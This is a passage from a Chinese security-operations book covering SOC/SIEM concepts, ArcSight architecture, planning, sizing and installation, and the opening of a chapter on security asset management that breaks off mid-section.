第20章介绍了安全运营之路，包括面临的问题、安全运营架构、支撑工具和所需资源，本章介绍安全运营常用的支撑工具—安全运营中心（SOC），并以ArcSight为例介绍SOC搭建步骤。




21.1　安全运营中心概述



安全运营中心（Security Operations Center，SOC）是指统一收集、存储、处理企业各类与安全相关的监测告警信息，通过安全事件管理流程流转安全事件工单，由一线、二线、三线安全人员分工处理不同级别安全告警，并进行安全事件回顾，持续改进提升安全有效性。SOC一般翻译成安全运维中心或安全运营中心，本书采用安全运营中心。

企业为了应对各类安全风险，按照纵深防御理念，部署了一系列安全防护设备和检测措施，如防火墙、入侵检测和防护系统、漏洞扫描系统、防病毒系统、终端管理系统等，构建起了点状防御。点状防御一方面在运行过程中不断产生大量的安全日志和事件，形成了大量“信息孤岛”，另一方面，有限的安全管理人员面对这些数量巨大、彼此割裂、未进行分级过滤的安全告警信息，操作着各种产品自身的控制台界面和告警窗口，效率很低，SOC产品由此诞生。

SOC是一个复杂的系统，既有产品，又有服务，还有运维（运营），SOC是技术、流程和人的有机结合。SOC产品是SOC系统的技术支撑平台，SOC产品在国外很少以SOC命名，更多是与服务挂钩。和SOC密切相关的还有两个词：SIEM（信息安全与事件管理）、MSSP（可管理安全服务供应商）。国外产品厂商使用了SIEM（Security Information and Event Management）这个词来代表SOC产品，表示产品与服务的区别。MSSP（Managed Security Service Provider）是指以SOC为技术支撑为客户提供安全服务的模式。MSSP的理念在国内的接受度不高，发展很缓慢。

SOC是安全运营落地的重要支撑，本章将以一款著名的SOC产品ArcSight为例，介绍SOC的实施规划。




21.2　ArcSight简介



笔者从2008年接触ArcSight系列产品以来，见证了ArcSight在SIEM市场的迅速崛起，多次获得Gartner SIEM魔力象限的领导者区域并高居榜首。虽然最近几年有不断下滑之势，但不可否认，ArcSight仍是笔者用过的最好用也是最简单的SIEM工具。


1.ArcSight优势


ArcSight是SIEM的老牌传统产品，成立于2000年5月，2010年10月被HP以约16亿美元收购，纳入其企业安全软件群中，2016年9月慧与（中国）有限公司（Hewlett Packard Enterprise，HPE）以88亿美元将其软件业务出售给了Micro Focus，其中就包含ArcSight。

ArcSight的强项是可灵活定制的关联分析平台ESM以及可以方便收集非标日志的Flex-Connector。注意ESM仅仅是平台，就像微软的Office套件，大好文章随你挥洒，但文章好坏在于文章作者和内容而非Office套件。


2.ArcSight模块


ArcSight包含的产品及模块较多，有些还需单独付费才能启用，以下仅就中国大陆地区常见的模块及功能进行简要介绍，其产品框架如图21-1所示。

（1）数据采集

ArcSight的数据采集由采集软件（Connector）实现，目前支持近400种日志类型。日志获取的方式支持数据库、文本文件、Syslog、简单网络管理协议（Simple Network Manage-ment Protocol，SNMP）、REST API；日志记录支持单行、多行；日志内容支持文本、XML、JSON。

由ArcSight开发、维护、支持的日志采集器称为SmartConnector，用户自定义开发、维护、支持的日志采集器称为FlexConnector，两种Connector使用完全相同的框架，是同一个软件安装包。SmartConnector大约每1~2月发布一个大版本，提供新的日志类型和格式的解析支持，本书写作时最新的版本是7.7。

SmartConnector本身并不单独销售，也不免费提供下载，但可以通过下载官网Logger评测版的方式获得相关软件及文档，官网下载链接：
https://software.microfocus.com/en us/products/siem data collection log management platform/free trial

 。FlexConnector需要单独采购一个开发授权。Connector支持安装在Windows 32/64位、Linux 32/64位、Solaris x64、Solaris SPARC操作系统中。

Connector本身是个软件，ArcSight也可以硬件形式提供Connector Appliance，它按EPS划分规格，设备包括Linux操作系统和基于Web的管理界面，适合一体化解决方案的用户。

（2）数据汇聚

Connector采集后，经过规范、补充后的数据可以直接发送至后台的关联分析软件ESM或/和发送给日志存留/查询软件Logger，这是以前传统的做法。2016年ArcSight发布了基于Kafka技术名为Event Broker的产品，它可以适应超大数据量的场景，支持伸缩、高可用、多Consumer。Connector可以作为Producers将数据以CEF格式输入Event Broker中，ArcSight ESM、Logger、Hadoop及其他支持Kafka的Consumer可以从中获取CEF格式数据。




图21-1　ArcSight产品框架

Event Broker本身不单独销售，它和Connector、Logger、ArcMC一起打包作为ADP（ArcSight Data Platform）进行销售。

Event Broker由于是新出的产品，版本迭代很快，本书写作时最新的版本是2.11。

（3）数据存储

Logger是一个类似Splunk的产品，可以接收Connector发送的格式化日志，也可以直接作为Syslog服务器或通过SCP、SFTP、FTP获取非结构化的数据，但其性能和部分细节功能没有Splunk强大。它是ArcSight为了应对Splunk而生的，评测版可以直接下载，官网下载链接：
https://software.microfocus.com/en us/products/siem data collection log management platform/download

 ，在日数据量不大于750M的情况下可以免费使用1年。

Logger的主要功能包括日志的长期存储、快速检索、快速出具简单报表，不具备真正意义上的实时分析功能。它可以将日志分类，分别设置最多6个存储组，每个存储组可以设置不同的保留期限以满足不同的日志存留需求。

Logger可以查询结构化和非结构化的日志，但关键字检索不支持非英文字符。

Logger宣称数据压缩比为10∶1，因此Logger本身的内置存储未必要很大。针对于内置存储不足的情况，可以设置自动归档，将日志归档至外部的存储资源中。

Logger本身是个软件，ArcSight也可以硬件形式提供Logger Appliance，它按EPS划分规格，设备包括Linux操作系统和基于Web的管理界面，适合一体化解决方案的用户。

Logger可以单独购买，购买时就会包含Connector的软件，但是建议同时购买Flex-Connector的开发授权（价格不贵）以及ArcMC用于集中管理。

Logger大约半年会有一个新的大版本出现，本书写作时最新的版本是6.51。

（4）数据分析

ESM是ArcSight的真正核心，笔者认为，当前在SIEM的实时关联分析领域它应该是排名第一的。

ESM本身包含了很多组件/模块，有些是要单独付费的：

·Manager，是整个ESM的核心，它是基于Java的处理软件，主要完成信息的实时关联和分析工作，其中包含19大类30多个小类的功能（ArcSight称之为Resource），Manager只能处理Connector发送来的规范化的结构化日志。

·CORRE，其实就是Logger的一个存储引擎，它具备Logger的所有关键功能，在6.0版本之前ESM使用的存储引擎是Oracle，但这种通用关系型数据库成为了整个ESM的性能瓶颈，因此现在新购ESM版本全是基于CORRE的，基于Oracle的ESM最高版本自2015年以来一直停滞在5.6，该模块无需单独付费。

·Command Center，是基于Web的ESM管理控制台，它设计的功能主要针对ESM的平台系统管理员、SOC的一线运维值班人员及日志源设备管理员。Command Center的Web界面相对比较简洁并且以查看功能为主。该模块无需单独付费。

·Pattern Discovery，是一个单独付费的功能，它主要解决历史数据挖掘的问题。ESM Manager在实时关联分析上功能很强，但是对历史数据的挖掘能力却很差，因此ArcSight开发了模式发现的功能，此功能需要在ESM Console上使用。另外ArcSight还OEM了一个离线的模式发现软件AID（ArcSight Interactive Discovery），这个产品在中国大陆地区仅有极少数用户购买过，真正要用起来对分析员的功力要求非常高，在大数据技术没有出现前该工具还有意义，随着大数据工具越来越多、越来越成熟，这两个模式发现的功能/产品基本就没人需要了。

·Solution&Use Case，是需要单独付费的资源包，ESM实现的所有实时关联分析功能都是通过Manager的19大类30多个小类的功能组合实现的，而Solution&Use Case就是ArcSight基于一些常见的合规性规范定制好的资源包功能组合，例如PCI、HIPPA、SOX。实际上，将这些资源包落地成符合本机构需求的功能也是需要耗费很多精力的，因此不建议购买。

·Domain Field，可以单独付费激活的功能，尽管ESM预留了400个以上的字段给单条日志，但在涉及业务日志分析的时候就有些不合适了，Domain Field就是允许客户在ESM中增加自定义的数据字段。

·Actor，可以单独付费激活的功能，主要是和Oracle IDM或Microsoft AD集成使用，可以将身份管理系统中的账号属性全部自动、实时同步进ESM，可以实现越权操作的监视。实际上，要实现此功能对用户自身的安全管理要求很高，绝大多数用户完全没有进化到这个层级，因此这些功能在中国大陆地区没听说有谁买过。

ESM本身是个软件，ArcSight也可以硬件形式提供ESM Appliance，它按EPS划分规格，设备包括了Linux操作系统和基于Web的管理界面，适合一体化解决方案的用户。

ESM大约半年到一年会有一个新的大版本出现，本书写作时最新的版本是6.11c+Patch1。

ESM对历史数据的分析是弱项，因此ArcSight在2017年发布了一个名为Investigate的产品，它从Event Broker中消费数据，使用Vertica列式存储数据库，宣称可以只用数秒便可以10亿条记录中查询到结果，查询的语法支持人类自然语法。由于此产品很新且需单独付费，笔者也没有实际接触过，很难评价。

（5）系统操作和管理

Console是ESM的控制台，主要由安全分析员、Use Case开发人员使用，Console用户数量是需要单独计费的，当然目前只是技术上弹出个烦人的提示而已，还没有限制到无法登录的情况。

Command Center、Logger、Event Broker、Investigate都可以通过主流的浏览器访问进行信息查询及系统管理。

除非购买了Connector Appliance，否则每个Connector都需要单独维护，对于多Connector的环境这点就比较麻烦，因此建议购买ArcMC，它可以通过Web界面集中管理所有的Connector、Logger、Event Broker。

ArcMC可以单独购买，也可以作为ADP打包一起购买。

ArcMC大约半年会有一个新的大版本出现，本书写作时最新的版本是2.71。




21.3　SOC实施规划和架构设计



本节通过使用ArcSight介绍SOC的规划和技术架构设计，在具体动手安装配置前，最重要的是做好整个平台的规划和架构设计。按以下九个步骤做好SOC平台的规划和架构设计，每个步骤推荐了实战中的一些最佳做法，供大家参考。

1）明确需求。

2）架构环境。

3）硬件规格。

4）日志管理策略。

5）应用的资产和架构信息。

6）外部信息集成策略。

7）开发方法及方式。

8）工作流规划。

9）成果度量。




21.3.1　明确需求



应明确以下问题：

·确定SIEM平台需要解决哪些问题，不少情况下合规性要求是原始驱动力，例如等保、PCI等，实时关联需求是后续的需求，因此SIEM平台建设的各阶段的目标要明确。

·确定各日志源设备管理部门对SIEM平台的需求，哪些关键业务系统需求要优先完成，期望的合规性日、周、月报表有哪些，期望的实时关联需求有哪些，各业务系统以前对日志的处理方式及关注的重点有哪些。

·确定需求相关的日志源清单、采集方式、变更流程、变更窗口。

·确定相关报表、报警的发送对象及处理流程。

上述的需求务必在实施前落实到字面，否则一旦实施起来，跨部门的协助、支持难度将会是巨大的。




21.3.2　架构环境




1.EISM架构（整体架构）


首先要确定SIEM平台的运营方式（7x24、5x8），不同的运营方式决定了ArcSight的架构是单机系统还是双机系统，ArcSight的ESM可以：

·开启HA功能（需单独付费）。

·主备模式。

ArcSight的Logger也支持分布式存储、查询功能。SIEM平台如果与大数据平台有交互需求，架构中需要加入Event Broker。

以下是适应大多数情况（不买HA、Event Broker模块）的ESM双机架构，如图21-2所示。


2.Connector日志采集架构


（1）采集层

Connector根据日志源的特性分为接收型和获取型，对于接收型的Connector，例如Syslog，总体来说日志量是比较大的，尽管ArcSight也提供了名为Connector Load Balance的模块，但笔者的最佳实践按图21-3部署。

上述架构中LVS非必需，仅当Syslog日志量大于3000EPS，或Rsyslog本身性能模块提示有失败的情况下才需要搭建，当然任何其他的负载均衡软硬件均可使用。




图21-2　ESM双机架构示意图




图21-3　实践部署图

（2）处理层

笔者建议搭建两套ESM Manager：

·一套为生产环境，其硬件配置需要满足规划设计。

·一套为备用/开发环境，其硬件配置无需和生产环境一样，它主要用于在生产环境停止服务的时候可以接管日志继续运行关联分析规则，同时兼做Use Case的开发与测试环境。


 注意：


Connector需要做相应的配置确定ESM发生主备切换时的日志发送目标，ESM主节点停止服务时，默认情况下Connector会将后续的所有日志发送至备节点，同时缓存这些日志数据，当主节点恢复服务时，Connector会将后续的所有日志发送至主节点，同时按7∶3的比率逐步将之前缓存的日志数据发送给主节点。

上述是性价比较高的架构，也可以搭建两套完全相同配置的ESM Manager，Connector同时向两个ESM发送相同或不同的日志，也可以购买HA模块，由其自动准实时同步ESM Manager数据。




21.3.3　硬件规格



SIEM平台主要负责日志的接收、存储、关联分析，ArcSight的ESM是基于Java编写的程序，因此决定性能的两大因素是硬盘、内存，其次才是CPU数量和存储容量。

首先需要估算大约的EPS、EPD规模，小规模的EPS（小于2000）可以考虑使用虚拟化环境部署，即便是大规模的EPS，也可以在小规模EPS的分支机构里考虑使用虚拟化环境部署，以便标准化、快速部署。

基于EPS、EPD的规模可以估算计算能力及存储容量，ESM Manager部署所需的硬件建议如下所示：




Minimum规格估计可以支撑2000EPS；Mid-Range规格估计可以支撑10 000EPS；High Performance规格估计可以支撑20 000EPS。

重要的是，不要使用Raid 5。

上述规格的实际性能需要在SIEM平台搭建及初始化压力测试后，才能得到相对准确的数据。实际中，我们曾经使用Dell R730服务器（2x Intel E5-2690 V4 2.6GHZ 14核，256G，12x1.2T SAS 10KRPM RAID 10）持续40小时压测，结果如下：

·平均EPS，约为218 879.4。

·最大EPS，约为263 246.5。

·平均EPD，约为18 813.2M。

·总事件量，约为32 358 786 964。

·抽样其中完整的24小时存储数据如下：

·归档文件容量，639G。

·归档日志条数，19 455 972 366。

·日志平均尺寸，35.27字节。

·归档时长，103分钟。

·平均归档速率，6.2G/分钟。

对于Connector所需的基础环境没有硬性需求，建议使用Linux操作系统，每个Connector的JVM需要至少256M（服务器中可以同时部署多个Connector），预留约512M~1G给Linux操作系统后可以大致估算出所需的内存数量，CPU线程数量建议不小于4个。




21.3.4　日志管理策略



日志管理策略大多由需遵循的合规性要求确定，由于ESM Manager主要用于实时关联分析，因此，默认情况下ArcSight Connector发送给ESM Manager的是经过滤、归并、规范的日志信息，如果某些合规要求保留原始日志，就需要在Connector进行相应的设置，或将原始日志发送给Logger。

不同规范对日志的存留期要求有所不同（等保、PCI、SOX），ArcSight是可以设置多个日志存储池的不同存留期，没有必要因保留日志过久而占用宝贵的存储资源。

ESM和Logger的存储引擎可以每日将前一天的日志归档至外部存储中，这样可以减少对内置存储的容量需求，归档的日志文件可以保存在便宜的NAS或带库中。

图21-4是某个实际场景中设置的日志存留期策略。




图21-4　某个实际场景中设置的日志存留期策略




21.3.5　应用的资产和架构信息



关键业务的基础架构、灾备架构会确定如何及在哪里采集日志，同样也会影响Use Case的定制策略。例如，某个Web业务的前端由HAProxy/Nginx做Web应用代理，这时就应该取HAProxy/Nginx的Access Log，无需取后端的Web服务器Access Log。

关键业务资产信息的收集也会大大方便后续的事件分析及Use Case定制，ArcSight将每个IP视为一个资产（Asset），假设某个防火墙有多个接口，它就有多个资产属性。如果有CMDB工具最好，否则只能通过人工收集后再通过工具导入ESM。

资产是ArcSight中的重要基础概念，也是一个复杂定制的过程，但对精准定制Use Case的确有价值。

ArcSight的资产相关概念由Customer、Network、Zone、AssetGroup、AssetRange、Asset、AssetCategory、Location、Vulnerabilities组成，相互间有各种隶属、继承关系，详细的说明建议查看《ESM 101》
 


[1]




 。




[1]

 ESM 101 地 址：https://community.softwaregrp.com/t5/ESM-and-ESM-Express/ESM-101-ESM-6-11-0/ta-p/1585987?attachment-id=57488。




21.3.6　外部信息集成策略



ArcSight的关联分析并不仅为日志，其他的资产信息、弱点扫描报告、黑白名单、威胁情报等均可纳入关联分析规则中，但需要确定系统间的接口和接入方式（定时脚本、定时手工、实时自动）。

ArcSight提供专门的Connector，ArcSight Asset Model Import FlexConnector，实现自动资产的导入，也可通过手工用csv的方式导入。

弱点扫描报告可以通过特定的Connector将相应的弱点导入ESM并关联。

CEF是ArcSight对日志格式进行定义的规范，ArcSight与其他系统数据的交换可以采用此规范，以下是CEF的简单格式样例，详细描述请参见《CEF》
 


[1]




 。




[1]

 CEF 地 址：https://community.softwaregrp.com/t5/ArcSight Connectors/ArcSight Common Event Format CEF Guide/ta p/1589306?attachment id=65537（打开较慢，耐心等待）。




21.3.7　开发方法及方式



SIEM的Use Case开发需要遵循软件开发的模式，所以在资源允许的情况下，建议有一套ESM开发、测试试运行环境，此环境需独立于生产环境，相关的日志信息由Connector配置后复制一份给开发环境。

如果资源实在有限，仅有一套ESM生产环境，所有上线需要实时/定时运行的Use Case均需有相应的测试、审批过程。

所有新Use Case上线应该遵循必要的变更管理流程，并提供相应的文档及操作手册。我们在这方面吃过亏，教训极为深刻。




21.3.8　工作流规划



SIEM中，反映的问题很多在前期都需要进行优化、调整，否则误报率会很大，即使是准确地报警，很多情况下也需要设备管理部门来处理，因此定义合适的事件处理流程，形成闭环，才能更好地发挥SIEM平台的作用。某SOC流程规划如图21-5所示。




图21-5　ArcSight为某500强企业做的相关SOC流程规划示意图




21.3.9　成果度量



SIEM平台交付的各Use Case必须可验证，并具备完整的设计、测试、维护文档，触发的有效性、精确性评估尽量量化，以下是实际情况中部分度量评价指标：

·实时关注的不同类型报警数量≤A单/小时（一般来说对于每个一线值班人员，A＝6），否则一线值班人员无能力处理。

·相同类型报警需具备归并、抑制、黑白名单功能，可以通过报表、仪表板展示明细，但实时报警24小时内不重复发送。

·报警信息能显示相关的关联信息，以利于后续事件调研，报警的标题需包含事件严重度信息，方便快速检索。




21.4　ArcSight安装配置



本节介绍ArcSight最重要的模块—ESM的安装配置。包括：

·安装前准备。

·初始化安装。

·安装后验证。

·性能调优。

·初始备份。

·压力测试。

·其他参数调整。




21.4.1　安装前准备



基于前期规划准备硬件及外部资源，包括RAID、带外管理、IP、NTP、SMTP、DNS、主机名、网络访问策略、可选的AD/LDAP信息，如图21-6所示。




图21-6　网络访问策略

查阅《ArcSightESM Support Matrix》，确定ESM软件版所使用操作系统的类型及版本。

建议参考《ESM6.11.0 Installation Guide》《Building a custom CentOS 7 kickstart disc》定制相应的操作系统自动化安装光盘，参考《CIS Benchmarks》加固操作系统，所有配置通过Kickstart及脚本自动实现。促使我们这么做的原因是可以将各系统变更内容（如IP、主机名、DNS、NTP、Firewalld、软件包、软件参数配置项等）固化（此光盘可以为ESM、Logger、Connector统一定制），与其编写大量的细节部署说明文档，不如花点精力编写Kickstart和Shell，后期在系统扩容和环境恢复时也可大幅减少部署时间且能标准化，还可降低实施/维护工程师的交付难度。




21.4.2　初始化安装



参考《ESM6.11.0 Installation Guide》获取软件安装包及License文件，需要注意的主要内容如下；

·使用非root账号（例如arcsight）执行安装，语言建议选择English，尽管ESM支持多语言，包括简体中文，但是相关的原厂测试完整性一定不如英文版，英文版可以减少因一些莫名其妙小问题而带来的困扰。

·设置符合强度的后台数据库密码并记录。

·设置存储资源池容量。

·安装完毕后以root执行结束界面提示的脚本/opt/arcsight/manager/bin/setup_services.sh，以便部署自动启动服务。




21.4.3　安装后验证



验证步骤如下：

1）以arcsight账号用命令行启动ESM服务以验证安装是否成功。






$/opt/arcsight/manager/bin/arcsight manager







2）等待出现Ready提示。

3）通过浏览器访问https://<ESM_Host_Name>:8443，如果可以用安装时设置的管理员账号及密码登录，即可证明初始化安装正确。

4）建议后续安装6.11.0的Patch软件包，方法参考相应版本的Release Notes说明。




21.4.4　性能调优



性能调优可以参考《ESM6.8 Performance tuning》《ArcSight ESM Performance Settings》《ArcSightESM Performance Guide v1_3》，此过程需要结合后续压力测试反复验证并调整。




21.4.5　初始备份



在压力测试前建议参考《ESMCORR-Engine Backup and Recovery》把初始安装完毕的ESM做个全备份，由于压力测试会输入大量的测试样本数据占用存储资源，ArcSight ESM是不允许修改、删除已有的日志数据，只能循环覆盖。用此备份数据可在压测后将ESM恢复至压测前的状态，并可验证ESM的备份/恢复脚本及流程是否有效。




21.4.6　压力测试



ESM Manager的日志接收能力测试利用自带的bleep模块实现，此模块通过回放模拟事件的方法持续向ESM Manager发送数据进行压力测试。

建议在多个Connector服务器上部署ESM Manager（无需安装，只需将ESM Manager安装后软件目录tar到Connector服务器上即可），每个机器模拟多个Connector同时向ESM Manager发送日志。

为减少压测对网络其他业务造成的影响，建议使用单独的交换机或交叉线连接ESM Manager和各Connector服务器。通过ESM仪表板观察ESM Manager的性能，以及各Bleep模块的输出信息有无缓存日志信息，逐步增加模拟Connector数量直到恰好不产生缓存日志的配置，之后持续运行至少24小时，建议一直持续到将EventStorage存储池占满为止。




21.4.7　其他参数调整



查阅/opt/arcsight/manager/config/server.default.properties中对各参数的说明，增加/修改/opt/arcsight/manager/config/server.properties中配置，例如：

·PDF中文字体配置项。

·登录提示Banner。

·用户密码复杂度策略。

·SMTP用户认证。

·AD/LDAP用户验证。




21.5　小结



本章大致介绍了SOC安全运营中心的基本功能，并以ArcSight为例介绍了SOC系统实施规划，安装设置好SOC系统后，还有很多具体的实施和开发，需要读者进一步查阅资料。




第22章　安全资产管理和矩阵式监控



资产管理是IT治理永恒的主题之一，就像阳光、空气和水，不起眼却不可缺。当一切安好时，资产管理不容易体现它的存在价值；当出现问题时，被忽视的资产管理往往能给运营团队带来充分的“惊喜”。资产管理体系不成熟会带来很多的问题。例如，被监管部门通告，却发现根本不知道子公司什么时候上线了这个网站；检测出了高危漏洞，问了一圈却根本不知道是跑什么业务的，能不能加固，谁来加固；运维团队什么时候又在互联网侧开放了22端口SSH服务，等等。




22.1　安全资产管理



正所谓知己知彼，百战不殆。资产管理指基于一定的管理规范，通过管理工具或技术手段，由指定的角色和人员，记录组织所属的基础设施软硬件、机房环境、系统配置、业务配置等各种类型的IT系统软硬件资产的详细信息，并对资产信息的变化和异动进行监测和管理。记录信息的范畴，包括某个时间点的资产信息“快照”，也包括“快照”建立后所有资产信息的变更情况。从不同的角色和维度看资产，关注的信息点有所不同。财务人员从库存的角度看资产，关注资产清单上的实体资产和无形资产是否存在。系统工程师关注服务器的配置、可用性、资源余量，关注设备是否在保。网络工程师关注网络设备资源余量，关注网络拓扑的完整性和有效性，关注非法接入。而安全团队则是从安全运营管理的角度看资产，通过对资产属性进行安全管理，消除资产管理中的安全隐患，保障组织IT资产的安全性。




22.1.1　面临的问题




1.安全资产管理的重要性


资产安全管理可以分为主动安全管理和被动安全管理。在主动安全管理过程中，安全运营团队需要通过安全管理对资产全面了解，分析各个资产的脆弱性和资产潜在价值，通过定量分析或定性分析，计算各个资产的威胁度。通过资产暴露面分析和威胁度分析，为不同价值、不同环境中的资产制订并实施针对性的威胁解决方案。

在安全运营工作中，安全资产管理也起着关键作用，例如对1day漏洞的处置。在0day漏洞成为1day漏洞后，漏洞的利用方式和影响范围已经曝光。在这个业务安全最脆弱的阶段，如何同黑客赛跑，争分夺秒地“揪”出存在安全风险的资产，是时下最紧迫的问题。对于1day漏洞，安全运营团队需要针对漏洞的影响范围执行针对性的应急解决方案。通常可以先根据爆出1day漏洞的影响范围（CVE漏洞通常会有对应影响的CPE编号），结合组织资产清单进行一轮资产匹配，先确定可能受该漏洞影响的资产范围。在此基础上使用更深入的技术手段，例如利用PoC对可能受影响的资产进行更加精确的漏洞验证，对受影响资产进行精确定位后，才能对其进行针对性的风险处置。这种方式能够大幅度缩短MTTD及MTTR，提升安全运营团队的风险处置能力和效率。

如图22-1所示，在对受影响资产进行精确定位后，安全运营团队将通过版本升级、补丁更新、配置变更等方式对资产进行安全加固，削弱或消除漏洞带来的安全风险。利用PoC验证等技术方法，可以对受影响资产进行精确定位，而全面准确的资产信息，是对信息安全风险进行快速、精确定位的数据基础。如果组织所属的IT资产信息特别是安全关注的资产属性不全面或有错误，将导致安全运营团队对组织资产的暴露面认知不全，隐藏资产将成为重大且未知的风险隐患，一旦这些资产存在的漏洞被恶意利用，将给组织带来重大风险。




图22-1　基于资产清单与PoC的精确安全风险定位与处置

要做好安全运营，必须先做好安全资产管理。


2.安全资产谁管理


资产作为一项基础性的运营工作，一般由企业IT运维团队负责。落实到具体的人员角色上，一般由系统工程师统计并记录服务器、存储、操作系统等软硬件基础设施资产信息，由网络工程师记录网络交换设备、公网IP地址等软硬件基础设施资产信息，由应用工程师和数据库工程师在业务逻辑层面记录系统的节点配置、关联配置等业务资产信息，由安全运营工程师记录安全防护软硬件设备资产及其配置项资产信息。

安全资产管理不能从资产的原始价格角度管理，应从资产安全价值的角度进行分析，赋予每个资产在安全维度的价值属性。资产价值源于业务价值，同样的资产在不同的业务环境中体现的价值也不同。安全运营团队应从业务角度关注组织资产，除了关注资产自身的安全价值外，还应根据资产间的依赖关系认知资产的附加安全价值和整体安全价值。业务依托于安全，安全为业务保驾护航。从业务角度和业务高度上看资产，更容易明了应该关注的安全资产范围和属性。

安全资产管理如此重要，但现阶段在各个组织的安全运营工作中，安全资产管理的实际落地效果往往不尽如人意。造成这种局面的因素有以下几点：

·组织对安全资产的范围认识不全面，安全资产边界不清晰。

·安全资产管理方式为原始的人力手工管理，缺乏有效的自动化管理工具。

·缺乏对安全资产变更的持续性监控能力，无法及时发现违规变更。

·管理流程僵化，缺乏有效性，易被绕过。

·对于部分资产的属性，现有的技术发现手段准确率不足。

·业务增长连带安全资产增长，以现有的模式，其管理成本和技术成本呈几何级数增长。

基于各种原因，组织的资产信息往往都存在着各种不足，包括资产未记录、记录错误、更新不及时等因素导致的资产信息错误。不完备的资产信息是安全运营管理过程中存在的重大风险点，而安全运营团队作为组织安全管理的责任团队，应积极主动地承担好安全资产的管理职责，为做好安全运营工作打下坚实的基础。


3.安全资产管理的关键问题


要做好资产管理并不容易，这并不是一个简单的技术问题或管理问题，而是技术与管理的多重融合问题。就现阶段的行业经验来看，十全十美的资产管理是不存在的，但通过尽可能完善有效的资产管理，可以极大地提升安全运营团队对安全资产的认知能力和把控能力。运营团队想做好安全资产管理，应该从以下几个方面加大力度，做出切实有效的工作。

（1）明确安全资产管理的关注范围和关注维度

理清从安全运营角度应该关注的安全资产维度，对安全资产的充分认知，可以帮助安全运营团队提升对突发威胁的响应速度和效率。安全资产管理应从业务安全的角度关注安全资产，保障业务安全需要关注业务系统的核心资产和周边辅助资产。

核心业务开放在互联网端的应用前端资产是关注度最高、风险最大的业务资产暴露面，而位于边界防护体系之后的内网中的网络系统、支撑环境和其他应用后端资产由于暴露面较低，其风险级别也相对较低。但网络无边界，安全也无绝对，对内网安全资产的关注也容不得有半点疏忽。内网资产位于高安全区域，属于“城堡内部”的风险点。一旦某个风险点被攻破，极易通过一点使危害扩散和蔓延。最牢固的堡垒往往都从内部被攻破，安全运营团队应充分认知内外网资产之间的逻辑关系和关联关系，结合先进的技术产品和技术手段，结合组织的整体安全策略和制度，为组织的IT安全保驾护航。

（2）通过自动化手段提升安全资产的发现识别效率

传统的以人工识别为基础，以Execl表格工具为载体的资产识别和管理，已经完全跟不上现阶段组织业务扩张和资产爆炸性增长带来的管理要求。传统的人工操作总是受到人工精力不足、效率低下、易出错等负面因素的影响，无法形成有效的资产管理能力。安全运营团队应利用成熟的自动化资产管理技术或产品，构建高效、智能的自动化资产发现、识别和管理能力，降低资产管理对团队的工作压力。

目前较为常见的资产发现识别手段主要有三种，各有优劣：

·主动探测，是指基于Nmap等探测技术对资产进行识别。优点是实施较为简单，对系统环境影响较小；缺点是准确率受到用户提供的检测范围影响，当资产有一定防护和屏蔽后难以识别。

·被动流量发现，是指基于流量识别检测正在使用的设备、服务和应用程序。优点是不受用户提供检测范围影响，对业务系统基本无影响；缺点是难以发现没有在使用的资产或孤岛资产，流量镜像对网络有一定影响等。

·Agent获取，是指通过在服务器上安装Agent来识别资产。优点是能够获取到的数据最为全面和准确；缺点是实施较为困难，对业务有一定影响，资产发现效果受到安装范围影响等。

在实际的资产管理中，企业可以根据自身所需的资产管理力度来决定采用哪一种或多种资产发现手段。

基于业内的实践经验，实现资产管理有各种开源的CMDB产品，也有一些比较成熟的第三方资产管理产品。从使用效果上看，开源CMDB产品对运营人员的技术能力、管理能力和协调能力要求较高，但成本相对较低。而第三方资产管理产品会产生一定的成本，但能提供专业的售后支持服务，还可以根据管理需求进行针对性的功能开发和性能调优，更有利于快速形成组织的安全资产管理能力。两者各有优势，安全运营团队应根据企业自身特点，灵活地选择适合自身组织环境的安全资产管理解决方案。

（3）做好动态数据更新与维护

做过资产管理台账的人可能都有这样的体会，利用一个月的时间充分摸底组织IT资产，殚精竭虑地做了一份尽善尽美的组织IT资产台账。但三个月后一看，这份台账的信息已经出现了各种错误，整体准确率已经无法估计。这种令人无奈的情况，根本原因就是人的精力、注意力无法长期应对组织资产信息的频繁变化。

为了解决这个致命的问题，组织的安全资产管理环境在能够自动化发现、识别资产的同时，还应具备自动化、周期性的资产信息变更识别、记录能力。

（4）控制好安全资产信息获取过程的负面影响

要明确的是，安全资产管理和IT资产管理之间是有交集的。安全资产管理可以不必关注服务器的序列号、U数和维保情况，这是运维团队需要关注的。安全资产管理更关注业务系统各个业务节点上运行了什么程序，具体是什么版本，各个节点和系统之间有着怎样的对应关系和依赖关系。它既会关注运维资产管理中的部分信息，也会关注一些业务层面的安全资产信息。

（5）通过有效可行的规范制度保障安全资产管理的持续性

安全资产管理的信息初始化建设很重要，但资产基线建立后的变更识别维护过程，是一个更加重要的持续性过程。传统资产管理往往都在基线建立后的维护过程中遭遇滑铁卢，失效的持续监控机制和职责控制，使得资产信息的有效性随着时间的推移直线下跌。

为了保障安全资产管理的持续有效性，应该制定适当的管理规范。规范应充分考虑复杂度和有效性，有效的规范应具备简单、可行、闭环可追溯等特点。可从以下几个方面进行考虑：

·系统操作流程及操作方式应简单可行，不应存在过多的不确定性。

·具体的操作责任应落实到指定的责任人，不应出现多头管理或无人管理的局面。

·应有定期检查机制，由指定的人员执行定期检查任务，确定管理规范的执行是否到位。

·对于来按规范执行的失职人员，应有明确的问责制度和修复机制，避免规范成为一纸空文。




22.1.2　解决思路和方案




1.安全资产管理应关注哪些资产信息


安全运营团队应从安全运营需求的角度考虑如何关注组织IT资产的细节信息，理论上，获取的信息越详细，在安全运营中就越有效。但信息越详细，信息获取、维护的难度越大、成本越高。安全运营团队应充分考虑所在组织的业务重要性、资产数量和团队自身能力，以切实可行、实事求是的态度选择适合自身组织环境的安全资产管理模式。

（1）业务维度

业务维度的安全资产，更多的是考虑业务发布的互联网侧的暴露面资产。这些资产因为业务需求不得不向互联网用户开放，同时也不得不承受潜在的攻击威胁。在业务维度值得关注的安全资产包括：

·域名资产。域名资产是最直观的业务维度资产之一，是做好业务维度安全资产管理的最佳把手。绝大多数面相公众用户的业务都具有指定的域名信息，域名下又有二级域名和CNAME等子域名资产，通过对域名资产的发现、识别，可以获取更多的业务相关资产信息（例如IP地址）。

·URL资产。URL指向业务服务的详细地址，通过对URL资产的发现与识别，能够进一步了解构成业务的服务、框架、端口等详细资产信息。

·外网IP资产。某些业务因具体的业务需求没有分配相应的域名，而是直接通过IP地址向外网提供服务。通过对外网IP资产的进一步识别分析，可以获取IP上开放的业务端口等更多的详细资产信息。

（2）系统维度

